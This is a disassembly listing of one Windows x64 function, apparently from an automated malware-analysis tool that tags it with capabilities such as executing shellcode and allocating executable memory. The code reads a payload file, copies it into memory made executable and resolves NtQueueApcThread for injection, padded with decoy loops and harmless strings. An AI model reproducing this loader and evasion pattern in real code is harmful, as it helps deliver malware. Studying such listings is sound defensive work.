Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r8, [0x140005784]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x140001b25
call qword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0xf
mov ecx, 0x20
call fcn.1400030a8
mov rdx, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], 0x17
mov qword [rsp + 0x40], 0x1f
movups xmm0, xmmword [str.C:UsersSKDesktop100]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005798]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x14000579c]
mov word [rax + 0x14], cx
movzx eax, byte [0x14000579e]
mov byte [rdx + 0x16], al
mov byte [rdx + 0x17], 0
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001bb6
test al, 0x10
lea rdx, [0x1400057a0]
jne 0x140001bbd
lea rdx, [0x1400057b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002940
lea rdx, [0x140002b10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtTestAlert
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.140001280
movzx edx, byte [str.VirtualAlloc]
lea rcx, [0x1400057fc]
call fcn.140001060
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
nop word [rax + rax]
mov edx, ebx
lea rcx, [0x140005558]
call fcn.140001060
inc ebx
cmp ebx, 0x64
jl 0x140001c50
call fcn.140001620
call fcn.1400013b0
lea rdx, [0x140005530]
lea rcx, [0x140005800]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rbx, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov qword [0x140008958], rbx
test rbx, rbx
je 0x140001d32
lea rdx, [0x140005530]
lea rcx, [0x140005800]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001ce9
lea rcx, str.Binary_file_does_not_exists__n
call fcn.140001060
jmp 0x140001d32
mov rcx, qword [0x140008958]
call fcn.1400030e4
mov rdi, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov r9, rsi
mov r8, qword [0x140008958]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rbx, rbx
jne 0x140001d34
mov rcx, rdi
call fcn.1400030a0
xor edi, edi
mov qword [0x140008950], rdi
call fcn.140001280
cmp qword [0x140008950], 0
jne 0x140001d5d
lea rdx, [0x140005800]
lea rcx, str.Failed_to_read_binary_data_from_file__s_n
call fcn.140001060
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x140008958]
xor ecx, ecx
call qword [0x140008970]
mov qword [0x140008960], rax
mov r8, qword [0x140008958]
mov rdx, qword [0x140008950]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call fcn.140001280
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001280
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [0x140008958]
mov rcx, qword [0x140008960]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x90
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
xor esi, esi
nop
call fcn.140001280
xor ebx, ebx
mov edi, esi
and edi, 1
nop dword [rax]
mov eax, ebx
and eax, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test edi, edi
jne 0x140001e46
test eax, eax
jne 0x140001e3d
lea rdx, str.i_is_even__j_is_even
jmp 0x140001e58
lea rdx, str.i_is_even__j_is_odd
jmp 0x140001e58
test eax, eax
lea rdx, str.i_is_odd__j_is_even
je 0x140001e58
lea rdx, str.i_is_odd__j_is_odd
call fcn.140002940
lea rdx, [0x140002b10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc ebx
cmp ebx, 0x64
jl 0x140001e20
inc esi
cmp esi, 0x64
jl 0x140001e10
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001620
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [0x140005848]
call fcn.140001060
lea rcx, str.ok_Thank_You__n
call fcn.140001060
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x140008958]
xor ecx, ecx
call qword [0x140008970]
mov rdi, rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x140008958]
xor ecx, ecx
call qword [0x140008970]
mov rsi, rax
test r14, r14
je 0x140001f50
lea r8, str.Hello__world_
mov r9, r14
sub r9, r8
nop word [rax + rax]
movzx ecx, byte [r8]
mov byte [r9 + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x140001f00
lea rdx, str.String_copied_to_allocated_memory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002940
mov rcx, rax
mov rdx, r14
call fcn.140002940
mov rcx, rax
lea rdx, [0x140002b10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, qword [0x140008958]
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [0x140008958]
mov rdx, qword [0x140008950]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [r14]
mov qword [rdi], rax
mov r8, qword [0x140008958]
mov rdx, qword [0x140008950]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8d, 0x8000
mov rdx, qword [0x140008958]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [0x140005884]
call fcn.140001060
call fcn.1400013b0
lea rcx, str.world_hello
call fcn.140001060
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140001fff
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ffa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ffa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400030a0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003080
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret